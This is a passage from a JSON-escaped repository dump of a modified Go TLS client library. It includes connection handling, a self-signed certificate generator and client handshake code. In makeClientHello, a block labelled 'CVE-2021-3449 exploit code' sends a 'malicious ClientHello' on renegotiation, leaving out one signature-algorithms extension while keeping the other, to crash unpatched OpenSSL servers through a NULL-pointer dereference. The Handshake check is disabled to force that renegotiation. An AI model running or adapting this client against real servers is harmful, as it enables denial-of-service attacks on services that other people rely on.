transfers,\n//     larger TLS records better amortize framing and encryption overheads.\n//\n// A simple heuristic that works well in practice is to use small records for\n// the first 1MB of data, then use larger records for subsequent data, and\n// reset back to smaller records after the connection becomes idle. See \"High\n// Performance Web Networking\", Chapter 4, or:\n// https://www.igvita.com/2013/10/24/optimizing-tls-record-size-and-buffering-latency/\n//\n// In the interests of simplicity and determinism, this code does not attempt\n// to reset the record size once the connection is idle, however.\nfunc (c *Conn) maxPayloadSizeForWrite(typ recordType) int {\n\tif c.config.DynamicRecordSizingDisabled || typ != recordTypeApplicationData {\n\t\treturn maxPlaintext\n\t}\n\n\tif c.bytesSent >= recordSizeBoostThreshold {\n\t\treturn maxPlaintext\n\t}\n\n\t// Subtract TLS overheads to get the maximum payload size.\n\tpayloadBytes := tcpMSSEstimate - recordHeaderLen - c.out.explicitNonceLen()\n\tif c.out.cipher != nil {\n\t\tswitch ciph := c.out.cipher.(type) {\n\t\tcase cipher.Stream:\n\t\t\tpayloadBytes -= c.out.mac.Size()\n\t\tcase cipher.AEAD:\n\t\t\tpayloadBytes -= ciph.Overhead()\n\t\tcase cbcMode:\n\t\t\tblockSize := ciph.BlockSize()\n\t\t\t// The payload must fit in a multiple of blockSize, with\n\t\t\t// room for at least one padding byte.\n\t\t\tpayloadBytes = (payloadBytes & ^(blockSize - 1)) - 1\n\t\t\t// The MAC is appended before padding so affects the\n\t\t\t// payload size directly.\n\t\t\tpayloadBytes -= c.out.mac.Size()\n\t\tdefault:\n\t\t\tpanic(\"unknown cipher type\")\n\t\t}\n\t}\n\n\t// Allow packet growth in arithmetic progression up to max.\n\tpkt := c.packetsSent\n\tc.packetsSent++\n\tif pkt > 1000 {\n\t\treturn maxPlaintext // avoid overflow in multiply below\n\t}\n\n\tn := payloadBytes * int(pkt+1)\n\tif n > maxPlaintext {\n\t\tn = maxPlaintext\n\t}\n\treturn n\n}\n\nfunc (c *Conn) write(data []byte) (int, error) {\n\tif c.buffering {\n\t\tc.sendBuf = append(c.sendBuf, data...)\n\t\treturn len(data), nil\n\t}\n\n\tn, err := c.conn.Write(data)\n\tc.bytesSent += int64(n)\n\treturn n, err\n}\n\nfunc (c *Conn) flush() (int, error) {\n\tif len(c.sendBuf) == 0 {\n\t\treturn 0, nil\n\t}\n\n\tn, err := c.conn.Write(c.sendBuf)\n\tc.bytesSent += int64(n)\n\tc.sendBuf = nil\n\tc.buffering = false\n\treturn n, err\n}\n\n// writeRecordLocked writes a TLS record with the given type and payload to the\n// connection and updates the record layer state.\nfunc (c *Conn) writeRecordLocked(typ recordType, data []byte) (int, error) {\n\tvar n int\n\tfor len(data) > 0 {\n\t\tm := len(data)\n\t\tif maxPayload := c.maxPayloadSizeForWrite(typ); m > maxPayload {\n\t\t\tm = maxPayload\n\t\t}\n\n\t\t_, c.outBuf = sliceForAppend(c.outBuf[:0], recordHeaderLen)\n\t\tc.outBuf[0] = byte(typ)\n\t\tvers := c.vers\n\t\tif vers == 0 {\n\t\t\t// Some TLS servers fail if the record version is\n\t\t\t// greater than TLS 1.0 for the initial ClientHello.\n\t\t\tvers = VersionTLS10\n\t\t}\n\t\tc.outBuf[1] = byte(vers >> 8)\n\t\tc.outBuf[2] = byte(vers)\n\t\tc.outBuf[3] = byte(m >> 8)\n\t\tc.outBuf[4] = byte(m)\n\n\t\tvar err error\n\t\tc.outBuf, err = c.out.encrypt(c.outBuf, data[:m], c.config.rand())\n\t\tif err != nil {\n\t\t\treturn n, err\n\t\t}\n\t\tif _, err := c.write(c.outBuf); err != nil {\n\t\t\treturn n, err\n\t\t}\n\t\tn += m\n\t\tdata = data[m:]\n\t}\n\n\tif typ == recordTypeChangeCipherSpec {\n\t\tif err := c.out.changeCipherSpec(); err != nil {\n\t\t\treturn n, c.sendAlertLocked(err.(alert))\n\t\t}\n\t}\n\n\treturn n, nil\n}\n\n// writeRecord writes a TLS record with the given type and payload to the\n// connection and updates the record layer state.\nfunc (c *Conn) writeRecord(typ recordType, data []byte) (int, error) {\n\tc.out.Lock()\n\tdefer c.out.Unlock()\n\n\treturn c.writeRecordLocked(typ, data)\n}\n\n// readHandshake reads the next handshake message from\n// the record layer.\nfunc (c *Conn) readHandshake() (interface{}, error) {\n\tfor c.hand.Len() < 4 {\n\t\tif err := c.readRecord(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tdata := c.hand.Bytes()\n\tn := int(data[1])<<16 | int(data[2])<<8 | int(data[3])\n\tif n > maxHandshake {\n\t\tc.sendAlertLocked(alertInternalError)\n\t\treturn nil, c.in.setErrorLocked(fmt.Errorf(\"tls: handshake message of length %d bytes exceeds maximum of %d bytes\", n, maxHandshake))\n\t}\n\tfor c.hand.Len() < 4+n {\n\t\tif err := c.readRecord(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tdata = c.hand.Next(4 + n)\n\tvar m handshakeMessage\n\tswitch data[0] {\n\tcase typeHelloRequest:\n\t\tm = new(helloRequestMsg)\n\tcase typeClientHello:\n\t\tm = new(clientHelloMsg)\n\tcase typeServerHello:\n\t\tm = new(serverHelloMsg)\n\tcase typeNewSessionTicket:\n\t\tm = new(newSessionTicketMsg)\n\tcase typeCertificate:\n\t\tm = new(certificateMsg)\n\tcase typeCertificateRequest:\n\t\tm = &certificateRequestMsg{\n\t\t\thasSignatureAlgorithm: c.vers >= VersionTLS12,\n\t\t}\n\tcase typeCertificateStatus:\n\t\tm = new(certificateStatusMsg)\n\tcase typeServerKeyExchange:\n\t\tm = new(serverKeyExchangeMsg)\n\tcase typeServerHelloDone:\n\t\tm = new(serverHelloDoneMsg)\n\tcase typeClientKeyExchange:\n\t\tm = new(clientKeyExchangeMsg)\n\tcase typeCertificateVerify:\n\t\tm = &certificateVerifyMsg{\n\t\t\thasSignatureAlgorithm: c.vers >= VersionTLS12,\n\t\t}\n\tcase typeFinished:\n\t\tm = new(finishedMsg)\n\tcase typeEncryptedExtensions:\n\t\tm = new(encryptedExtensionsMsg)\n\tcase typeEndOfEarlyData:\n\t\tm = new(endOfEarlyDataMsg)\n\tcase typeKeyUpdate:\n\t\tm = new(keyUpdateMsg)\n\tdefault:\n\t\treturn nil, c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage))\n\t}\n\n\t// The handshake message unmarshalers\n\t// expect to be able to keep references to data,\n\t// so pass in a fresh copy that won't be overwritten.\n\tdata = append([]byte(nil), data...)\n\n\tif !m.unmarshal(data) {\n\t\treturn nil, c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage))\n\t}\n\treturn m, nil\n}\n\nvar (\n\terrClosed   = errors.New(\"tls: use of closed connection\")\n\terrShutdown = errors.New(\"tls: protocol is shutdown\")\n)\n\n// Write writes data to the connection.\nfunc (c *Conn) Write(b []byte) (int, error) {\n\t// interlock with Close below\n\tfor {\n\t\tx := atomic.LoadInt32(&c.activeCall)\n\t\tif x&1 != 0 {\n\t\t\treturn 0, errClosed\n\t\t}\n\t\tif atomic.CompareAndSwapInt32(&c.activeCall, x, x+2) {\n\t\t\tbreak\n\t\t}\n\t}\n\tdefer atomic.AddInt32(&c.activeCall, -2)\n\n\tif err := c.Handshake(); err != nil {\n\t\treturn 0, err\n\t}\n\n\tc.out.Lock()\n\tdefer c.out.Unlock()\n\n\tif err := c.out.err; err != nil {\n\t\treturn 0, err\n\t}\n\n\tif !c.handshakeComplete() {\n\t\treturn 0, alertInternalError\n\t}\n\n\tif c.closeNotifySent {\n\t\treturn 0, errShutdown\n\t}\n\n\t// TLS 1.0 is susceptible to a chosen-plaintext\n\t// attack when using block mode ciphers due to predictable IVs.\n\t// This can be prevented by splitting each Application Data\n\t// record into two records, effectively randomizing the IV.\n\t//\n\t// https://www.openssl.org/~bodo/tls-cbc.txt\n\t// https://bugzilla.mozilla.org/show_bug.cgi?id=665814\n\t// https://www.imperialviolet.org/2012/01/15/beastfollowup.html\n\n\tvar m int\n\tif len(b) > 1 && c.vers == VersionTLS10 {\n\t\tif _, ok := c.out.cipher.(cipher.BlockMode); ok {\n\t\t\tn, err := c.writeRecordLocked(recordTypeApplicationData, b[:1])\n\t\t\tif err != nil {\n\t\t\t\treturn n, c.out.setErrorLocked(err)\n\t\t\t}\n\t\t\tm, b = 1, b[1:]\n\t\t}\n\t}\n\n\tn, err := c.writeRecordLocked(recordTypeApplicationData, b)\n\treturn n + m, c.out.setErrorLocked(err)\n}\n\n// handleRenegotiation processes a HelloRequest handshake message.\nfunc (c *Conn) handleRenegotiation() error {\n\tmsg, err := c.readHandshake()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\thelloReq, ok := msg.(*helloRequestMsg)\n\tif !ok {\n\t\tc.sendAlert(alertUnexpectedMessage)\n\t\treturn unexpectedMessageError(helloReq, msg)\n\t}\n\n\tswitch c.config.Renegotiation {\n\tcase RenegotiateNever:\n\t\treturn c.sendAlert(alertNoRenegotiation)\n\tcase RenegotiateOnceAsClient:\n\t\tif c.handshakes > 1 {\n\t\t\treturn c.sendAlert(alertNoRenegotiation)\n\t\t}\n\tcase RenegotiateFreelyAsClient:\n\t\t// Ok.\n\tdefault:\n\t\tc.sendAlert(alertInternalError)\n\t\treturn errors.New(\"tls: unknown Renegotiation value\")\n\t}\n\n\tc.handshakeMutex.Lock()\n\tdefer c.handshakeMutex.Unlock()\n\n\tatomic.StoreUint32(&c.handshakeStatus, 0)\n\tif c.handshakeErr = c.clientHandshake(); c.handshakeErr == nil {\n\t\tc.handshakes++\n\t}\n\treturn c.handshakeErr\n}\n\n// handlePostHandshakeMessage processes a handshake message arrived after the\n// handshake is complete. Up to TLS 1.2, it indicates the start of a renegotiation.\nfunc (c *Conn) handlePostHandshakeMessage() error {\n\treturn c.handleRenegotiation()\n}\n\n// Read can be made to time out and return a net.Error with Timeout() == true\n// after a fixed time limit; see SetDeadline and SetReadDeadline.\nfunc (c *Conn) Read(b []byte) (int, error) {\n\tif err := c.Handshake(); err != nil {\n\t\treturn 0, err\n\t}\n\tif len(b) == 0 {\n\t\t// Put this after Handshake, in case people were calling\n\t\t// Read(nil) for the side effect of the Handshake.\n\t\treturn 0, nil\n\t}\n\n\tc.in.Lock()\n\tdefer c.in.Unlock()\n\n\tfor c.input.Len() == 0 {\n\t\tif err := c.readRecord(); err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\tfor c.hand.Len() > 0 {\n\t\t\tif err := c.handlePostHandshakeMessage(); err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t}\n\t}\n\n\tn, _ := c.input.Read(b)\n\n\t// If a close-notify alert is waiting, read it so that we can return (n,\n\t// EOF) instead of (n, nil), to signal to the HTTP response reading\n\t// goroutine that the connection is now closed. This eliminates a race\n\t// where the HTTP response reading goroutine would otherwise not observe\n\t// the EOF until its next read, by which time a client goroutine might\n\t// have already tried to reuse the HTTP connection for a new request.\n\t// See https://golang.org/cl/76400046 and https://golang.org/issue/3514\n\tif n != 0 && c.input.Len() == 0 && c.rawInput.Len() > 0 &&\n\t\trecordType(c.rawInput.Bytes()[0]) == recordTypeAlert {\n\t\tif err := c.readRecord(); err != nil {\n\t\t\treturn n, err // will be io.EOF on closeNotify\n\t\t}\n\t}\n\n\treturn n, nil\n}\n\n// Close closes the connection.\nfunc (c *Conn) Close() error {\n\t// Interlock with Conn.Write above.\n\tvar x int32\n\tfor {\n\t\tx = atomic.LoadInt32(&c.activeCall)\n\t\tif x&1 != 0 {\n\t\t\treturn errClosed\n\t\t}\n\t\tif atomic.CompareAndSwapInt32(&c.activeCall, x, x|1) {\n\t\t\tbreak\n\t\t}\n\t}\n\tif x != 0 {\n\t\t// io.Writer and io.Closer should not be used concurrently.\n\t\t// If Close is called while a Write is currently in-flight,\n\t\t// interpret that as a sign that this Close is really just\n\t\t// being used to break the Write and/or clean up resources and\n\t\t// avoid sending the alertCloseNotify, which may block\n\t\t// waiting on handshakeMutex or the c.out mutex.\n\t\treturn c.conn.Close()\n\t}\n\n\tvar alertErr error\n\n\tif c.handshakeComplete() {\n\t\talertErr = c.closeNotify()\n\t}\n\n\tif err := c.conn.Close(); err != nil {\n\t\treturn err\n\t}\n\treturn alertErr\n}\n\nvar errEarlyCloseWrite = errors.New(\"tls: CloseWrite called before handshake complete\")\n\n// CloseWrite shuts down the writing side of the connection. It should only be\n// called once the handshake has completed and does not call CloseWrite on the\n// underlying connection. Most callers should just use Close.\nfunc (c *Conn) CloseWrite() error {\n\tif !c.handshakeComplete() {\n\t\treturn errEarlyCloseWrite\n\t}\n\n\treturn c.closeNotify()\n}\n\nfunc (c *Conn) closeNotify() error {\n\tc.out.Lock()\n\tdefer c.out.Unlock()\n\n\tif !c.closeNotifySent {\n\t\tc.closeNotifyErr = c.sendAlertLocked(alertCloseNotify)\n\t\tc.closeNotifySent = true\n\t}\n\treturn c.closeNotifyErr\n}\n\n// Handshake runs the client or server handshake\n// protocol if it has not yet been run.\n// Most uses of this package need not call Handshake\n// explicitly: the first Read or Write will call it automatically.\nfunc (c *Conn) Handshake() error {\n\tc.handshakeMutex.Lock()\n\tdefer c.handshakeMutex.Unlock()\n\n\tif err := c.handshakeErr; err != nil {\n\t\treturn err\n\t}\n\t//if c.handshakeComplete() {\n\t//\treturn nil\n\t//}\n\n\tc.in.Lock()\n\tdefer c.in.Unlock()\n\n\tc.handshakeErr = c.clientHandshake()\n\tif c.handshakeErr == nil {\n\t\tc.handshakes++\n\t} else {\n\t\t// If an error occurred during the handshake try to flush the\n\t\t// alert that might be left in the buffer.\n\t\tc.flush()\n\t}\n\n\tif c.handshakeErr == nil && !c.handshakeComplete() {\n\t\tc.handshakeErr = errors.New(\"tls: internal error: handshake should have had a result\")\n\t}\n\n\treturn c.handshakeErr\n}\n\n// ConnectionState returns basic TLS details about the connection.\nfunc (c *Conn) ConnectionState() ConnectionState {\n\tc.handshakeMutex.Lock()\n\tdefer c.handshakeMutex.Unlock()\n\n\tvar state ConnectionState\n\tstate.HandshakeComplete = c.handshakeComplete()\n\tstate.ServerName = c.serverName\n\n\tif state.HandshakeComplete {\n\t\tstate.Version = c.vers\n\t\tstate.NegotiatedProtocol = c.clientProtocol\n\t\tstate.DidResume = c.didResume\n\t\tstate.NegotiatedProtocolIsMutual = !c.clientProtocolFallback\n\t\tstate.CipherSuite = c.cipherSuite\n\t\tstate.PeerCertificates = c.peerCertificates\n\t\tstate.VerifiedChains = c.verifiedChains\n\t\tstate.SignedCertificateTimestamps = c.scts\n\t\tstate.OCSPResponse = c.ocspResponse\n\t\tif !c.didResume {\n\t\t\tif c.clientFinishedIsFirst {\n\t\t\t\tstate.TLSUnique = c.clientFinished[:]\n\t\t\t} else {\n\t\t\t\tstate.TLSUnique = c.serverFinished[:]\n\t\t\t}\n\t\t}\n\t\tif c.config.Renegotiation != RenegotiateNever {\n\t\t\tstate.ekm = noExportedKeyingMaterial\n\t\t} else {\n\t\t\tstate.ekm = c.ekm\n\t\t}\n\t}\n\n\treturn state\n}\n\n// OCSPResponse returns the stapled OCSP response from the TLS server, if\n// any. (Only valid for client connections.)\nfunc (c *Conn) OCSPResponse() []byte {\n\tc.handshakeMutex.Lock()\n\tdefer c.handshakeMutex.Unlock()\n\n\treturn c.ocspResponse\n}\n\n// VerifyHostname checks that the peer certificate chain is valid for\n// connecting to host. If so, it returns nil; if not, it returns an error\n// describing the problem.\nfunc (c *Conn) VerifyHostname(host string) error {\n\tc.handshakeMutex.Lock()\n\tdefer c.handshakeMutex.Unlock()\n\tif !c.handshakeComplete() {\n\t\treturn errors.New(\"tls: handshake has not yet been performed\")\n\t}\n\tif len(c.verifiedChains) == 0 {\n\t\treturn errors.New(\"tls: handshake did not verify certificate chain\")\n\t}\n\treturn c.peerCertificates[0].VerifyHostname(host)\n}\n\nfunc (c *Conn) handshakeComplete() bool {\n\treturn atomic.LoadUint32(&c.handshakeStatus) == 1\n}\n"
  },
  {
    "path": "tls/generate_cert.go",
    "content": "// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n// +build ignore\n\n// Generate a self-signed X.509 certificate for a TLS server. Outputs to\n// 'cert.pem' and 'key.pem' and will overwrite existing files.\n\npackage main\n\nimport (\n\t\"crypto/ecdsa\"\n\t\"crypto/ed25519\"\n\t\"crypto/elliptic\"\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/x509\"\n\t\"crypto/x509/pkix\"\n\t\"encoding/pem\"\n\t\"flag\"\n\t\"log\"\n\t\"math/big\"\n\t\"net\"\n\t\"os\"\n\t\"strings\"\n\t\"time\"\n)\n\nvar (\n\thost       = flag.String(\"host\", \"\", \"Comma-separated hostnames and IPs to generate a certificate for\")\n\tvalidFrom  = flag.String(\"start-date\", \"\", \"Creation date formatted as Jan 1 15:04:05 2011\")\n\tvalidFor   = flag.Duration(\"duration\", 365*24*time.Hour, \"Duration that certificate is valid for\")\n\tisCA       = flag.Bool(\"ca\", false, \"whether this cert should be its own Certificate Authority\")\n\trsaBits    = flag.Int(\"rsa-bits\", 2048, \"Size of RSA key to generate. Ignored if --ecdsa-curve is set\")\n\tecdsaCurve = flag.String(\"ecdsa-curve\", \"\", \"ECDSA curve to use to generate a key. Valid values are P224, P256 (recommended), P384, P521\")\n\ted25519Key = flag.Bool(\"ed25519\", false, \"Generate an Ed25519 key\")\n)\n\nfunc publicKey(priv interface{}) interface{} {\n\tswitch k := priv.(type) {\n\tcase *rsa.PrivateKey:\n\t\treturn &k.PublicKey\n\tcase *ecdsa.PrivateKey:\n\t\treturn &k.PublicKey\n\tcase ed25519.PrivateKey:\n\t\treturn k.Public().(ed25519.PublicKey)\n\tdefault:\n\t\treturn nil\n\t}\n}\n\nfunc main() {\n\tflag.Parse()\n\n\tif len(*host) == 0 {\n\t\tlog.Fatalf(\"Missing required --host parameter\")\n\t}\n\n\tvar priv interface{}\n\tvar err error\n\tswitch *ecdsaCurve {\n\tcase \"\":\n\t\tif *ed25519Key {\n\t\t\t_, priv, err = ed25519.GenerateKey(rand.Reader)\n\t\t} else {\n\t\t\tpriv, err = rsa.GenerateKey(rand.Reader, *rsaBits)\n\t\t}\n\tcase \"P224\":\n\t\tpriv, err = ecdsa.GenerateKey(elliptic.P224(), rand.Reader)\n\tcase \"P256\":\n\t\tpriv, err = ecdsa.GenerateKey(elliptic.P256(), rand.Reader)\n\tcase \"P384\":\n\t\tpriv, err = ecdsa.GenerateKey(elliptic.P384(), rand.Reader)\n\tcase \"P521\":\n\t\tpriv, err = ecdsa.GenerateKey(elliptic.P521(), rand.Reader)\n\tdefault:\n\t\tlog.Fatalf(\"Unrecognized elliptic curve: %q\", *ecdsaCurve)\n\t}\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to generate private key: %v\", err)\n\t}\n\n\tvar notBefore time.Time\n\tif len(*validFrom) == 0 {\n\t\tnotBefore = time.Now()\n\t} else {\n\t\tnotBefore, err = time.Parse(\"Jan 2 15:04:05 2006\", *validFrom)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Failed to parse creation date: %v\", err)\n\t\t}\n\t}\n\n\tnotAfter := notBefore.Add(*validFor)\n\n\tserialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128)\n\tserialNumber, err := rand.Int(rand.Reader, serialNumberLimit)\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to generate serial number: %v\", err)\n\t}\n\n\ttemplate := x509.Certificate{\n\t\tSerialNumber: serialNumber,\n\t\tSubject: pkix.Name{\n\t\t\tOrganization: []string{\"Acme Co\"},\n\t\t},\n\t\tNotBefore: notBefore,\n\t\tNotAfter:  notAfter,\n\n\t\tKeyUsage:              x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,\n\t\tExtKeyUsage:           []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},\n\t\tBasicConstraintsValid: true,\n\t}\n\n\thosts := strings.Split(*host, \",\")\n\tfor _, h := range hosts {\n\t\tif ip := net.ParseIP(h); ip != nil {\n\t\t\ttemplate.IPAddresses = append(template.IPAddresses, ip)\n\t\t} else {\n\t\t\ttemplate.DNSNames = append(template.DNSNames, h)\n\t\t}\n\t}\n\n\tif *isCA {\n\t\ttemplate.IsCA = true\n\t\ttemplate.KeyUsage |= x509.KeyUsageCertSign\n\t}\n\n\tderBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, publicKey(priv), priv)\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to create certificate: %v\", err)\n\t}\n\n\tcertOut, err := os.Create(\"cert.pem\")\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to open cert.pem for writing: %v\", err)\n\t}\n\tif err := pem.Encode(certOut, &pem.Block{Type: \"CERTIFICATE\", Bytes: derBytes}); err != nil {\n\t\tlog.Fatalf(\"Failed to write data to cert.pem: %v\", err)\n\t}\n\tif err := certOut.Close(); err != nil {\n\t\tlog.Fatalf(\"Error closing cert.pem: %v\", err)\n\t}\n\tlog.Print(\"wrote cert.pem\\n\")\n\n\tkeyOut, err := os.OpenFile(\"key.pem\", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to open key.pem for writing: %v\", err)\n\t\treturn\n\t}\n\tprivBytes, err := x509.MarshalPKCS8PrivateKey(priv)\n\tif err != nil {\n\t\tlog.Fatalf(\"Unable to marshal private key: %v\", err)\n\t}\n\tif err := pem.Encode(keyOut, &pem.Block{Type: \"PRIVATE KEY\", Bytes: privBytes}); err != nil {\n\t\tlog.Fatalf(\"Failed to write data to key.pem: %v\", err)\n\t}\n\tif err := keyOut.Close(); err != nil {\n\t\tlog.Fatalf(\"Error closing key.pem: %v\", err)\n\t}\n\tlog.Print(\"wrote key.pem\\n\")\n}\n"
  },
  {
    "path": "tls/handshake_client.go",
    "content": "// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage tls\n\nimport (\n\t\"bytes\"\n\t\"crypto\"\n\t\"crypto/ecdsa\"\n\t\"crypto/ed25519\"\n\t\"crypto/rsa\"\n\t\"crypto/subtle\"\n\t\"crypto/x509\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"strings\"\n\t\"sync/atomic\"\n)\n\ntype clientHandshakeState struct {\n\tc            *Conn\n\tserverHello  *serverHelloMsg\n\thello        *clientHelloMsg\n\tsuite        *cipherSuite\n\tfinishedHash finishedHash\n\tmasterSecret []byte\n\tsession      *ClientSessionState\n}\n\nfunc (c *Conn) makeClientHello() (*clientHelloMsg, error) {\n\n\tconfig := c.config\n\tif len(config.ServerName) == 0 && !config.InsecureSkipVerify {\n\t\treturn nil, errors.New(\"tls: either ServerName or InsecureSkipVerify must be specified in the tls.Config\")\n\t}\n\n\tnextProtosLength := 0\n\tfor _, proto := range config.NextProtos {\n\t\tif l := len(proto); l == 0 || l > 255 {\n\t\t\treturn nil, errors.New(\"tls: invalid NextProtos value\")\n\t\t} else {\n\t\t\tnextProtosLength += 1 + l\n\t\t}\n\t}\n\tif nextProtosLength > 0xffff {\n\t\treturn nil, errors.New(\"tls: NextProtos values too large\")\n\t}\n\n\tsupportedVersions := config.supportedVersions()\n\tif len(supportedVersions) == 0 {\n\t\treturn nil, errors.New(\"tls: no supported versions satisfy MinVersion and MaxVersion\")\n\t}\n\n\tclientHelloVersion := supportedVersions[0]\n\t// The version at the beginning of the ClientHello was capped at TLS 1.2\n\t// for compatibility reasons. The supported_versions extension is used\n\t// to negotiate versions now. See RFC 8446, Section 4.2.1.\n\tif clientHelloVersion > VersionTLS12 {\n\t\tclientHelloVersion = VersionTLS12\n\t}\n\n\thello := &clientHelloMsg{\n\t\tvers:                         clientHelloVersion,\n\t\tcompressionMethods:           []uint8{compressionNone},\n\t\trandom:                       make([]byte, 32),\n\t\tsessionId:                    make([]byte, 32),\n\t\tocspStapling:                 true,\n\t\tscts:                         true,\n\t\tserverName:                   hostnameInSNI(config.ServerName),\n\t\tsupportedCurves:              config.curvePreferences(),\n\t\tsupportedPoints:              []uint8{pointFormatUncompressed},\n\t\tsecureRenegotiationSupported: true,\n\t\talpnProtocols:                config.NextProtos,\n\t\tsupportedVersions:            supportedVersions,\n\t}\n\n\tif c.handshakes > 0 {\n\t\thello.secureRenegotiation = c.clientFinished[:]\n\t}\n\n\tpossibleCipherSuites := config.cipherSuites()\n\thello.cipherSuites = make([]uint16, 0, len(possibleCipherSuites))\n\n\tfor _, suiteId := range possibleCipherSuites {\n\t\tfor _, suite := range cipherSuites {\n\t\t\tif suite.id != suiteId {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// Don't advertise TLS 1.2-only cipher suites unless\n\t\t\t// we're attempting TLS 1.2.\n\t\t\tif hello.vers < VersionTLS12 && suite.flags&suiteTLS12 != 0 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\thello.cipherSuites = append(hello.cipherSuites, suiteId)\n\t\t\tbreak\n\t\t}\n\t}\n\n\t_, err := io.ReadFull(config.rand(), hello.random)\n\tif err != nil {\n\t\treturn nil, errors.New(\"tls: short read from Rand: \" + err.Error())\n\t}\n\n\t// A random session ID is used to detect when the server accepted a ticket\n\t// and is resuming a session (see RFC 5077). In TLS 1.3, it's always set as\n\t// a compatibility measure (see RFC 8446, Section 4.1.2).\n\tif _, err := io.ReadFull(config.rand(), hello.sessionId); err != nil {\n\t\treturn nil, errors.New(\"tls: short read from Rand: \" + err.Error())\n\t}\n\n\t// CVE-2021-3449 exploit code.\n\tif hello.vers >= VersionTLS12 {\n\t\tif c.handshakes == 0 {\n\t\t\tprintln(\"sending initial ClientHello\")\n\t\t\thello.supportedSignatureAlgorithms = supportedSignatureAlgorithms\n\t\t} else {\n\t\t\t// OpenSSL pre-1.1.1k runs into a NULL-pointer dereference\n\t\t\t// if the supported_signature_algorithms extension is omitted,\n\t\t\t// but supported_signature_algorithms_cert is present.\n\t\t\tprintln(\"sending malicious ClientHello\")\n\t\t\thello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms\n\t\t}\n\t}\n\n\treturn hello, nil\n}\n\nfunc (c *Conn) clientHandshake() (err error) {\n\tif c.config == nil {\n\t\tc.config = defaultConfig()\n\t}\n\n\t// This may be a renegotiation handshake, in which case some fields\n\t// need to be reset.\n\tc.didResume = false\n\n\thello, err := c.makeClientHello()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tcacheKey, session := c.loadSession(hello)\n\tif cacheKey != \"\" && session != nil {\n\t\tdefer func() {\n\t\t\t// If we got a handshake failure when resuming a session, throw away\n\t\t\t// the session ticket. See RFC 5077, Section 3.2.\n\t\t\t//\n\t\t\t// RFC 8446 makes no mention of dropping tickets on failure, but it\n\t\t\t// does require servers to abort on invalid binders, so we need to\n\t\t\t// delete tickets to recover from a corrupted PSK.\n\t\t\tif err != nil {\n\t\t\t\tc.config.ClientSessionCache.Put(cacheKey, nil)\n\t\t\t}\n\t\t}()\n\t}\n\n\tif _, err := c.writeRecord(recordTypeHandshake, hello.marshal()); err != nil {\n\t\treturn err\n\t}\n\n\tmsg, err := c.readHandshake()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tserverHello, ok := msg.(*serverHelloMsg)\n\tif !ok {\n\t\tc.sendAlert(alertUnexpectedMessage)\n\t\treturn unexpectedMessageError(serverHello, msg)\n\t}\n\n\tif err := c.pickTLSVersion(serverHello); err != nil {\n\t\treturn err\n\t}\n\n\ths := &clientHandshakeState{\n\t\tc:           c,\n\t\tserverHello: serverHello,\n\t\thello:       hello,\n\t\tsession:     session,\n\t}\n\n\tif err := hs.handshake(); err != nil {\n\t\treturn err\n\t}\n\n\t// If we had a successful handshake and hs.session is different from\n\t// the one already cached - cache a new one.\n\tif cacheKey != \"\" && hs.session != nil && session != hs.session {\n\t\tc.config.ClientSessionCache.Put(cacheKey, hs.session)\n\t}\n\n\treturn nil\n}\n\nfunc (c *Conn) loadSession(hello *clientHelloMsg) (cacheKey string, session *ClientSessionState) {\n\tif c.config.SessionTicketsDisabled || c.config.ClientSessionCache == nil {\n\t\treturn \"\", nil\n\t}\n\n\thello.ticketSupported = true\n\n\t// Session resumption is not allowed if renegotiating because\n\t// renegotiation is primarily used to allow a client to send a client\n\t// certificate, which would be skipped if session resumption occurred.\n\tif c.handshakes != 0 {\n\t\treturn \"\", nil\n\t}\n\n\t// Try to resume a previously negotiated TLS session, if available.\n\tcacheKey = clientSessionCacheKey(c.conn.RemoteAddr(), c.config)\n\tsession, ok := c.config.ClientSessionCache.Get(cacheKey)\n\tif !ok || session == nil {\n\t\treturn cacheKey, nil\n\t}\n\n\t// Check that version used for the previous session is still valid.\n\tversOk := false\n\tfor _, v := range hello.supportedVersions {\n\t\tif v == session.vers {\n\t\t\tversOk = true\n\t\t\tbreak\n\t\t}\n\t}\n\tif !versOk {\n\t\treturn cacheKey, nil\n\t}\n\n\t// Check that the cached server certificate is not expired, and that it's\n\t// valid for the ServerName. This should be ensured by the cache key, but\n\t// protect the application from a faulty ClientSessionCache implementation.\n\tif !c.config.InsecureSkipVerify {\n\t\tif len(session.verifiedChains) == 0 {\n\t\t\t// The original connection had InsecureSkipVerify, while this doesn't.\n\t\t\treturn cacheKey, nil\n\t\t}\n\t\tserverCert := session.serverCertificates[0]\n\t\tif c.config.time().After(serverCert.NotAfter) {\n\t\t\t// Expired certificate, delete the entry.\n\t\t\tc.config.ClientSessionCache.Put(cacheKey, nil)\n\t\t\treturn cacheKey, nil\n\t\t}\n\t\tif err := serverCert.VerifyHostname(c.config.ServerName); err != nil {\n\t\t\treturn cacheKey, nil\n\t\t}\n\t}\n\n\t// In TLS 1.2 the cipher suite must match the resumed session. Ensure we\n\t// are still offering it.\n\tif 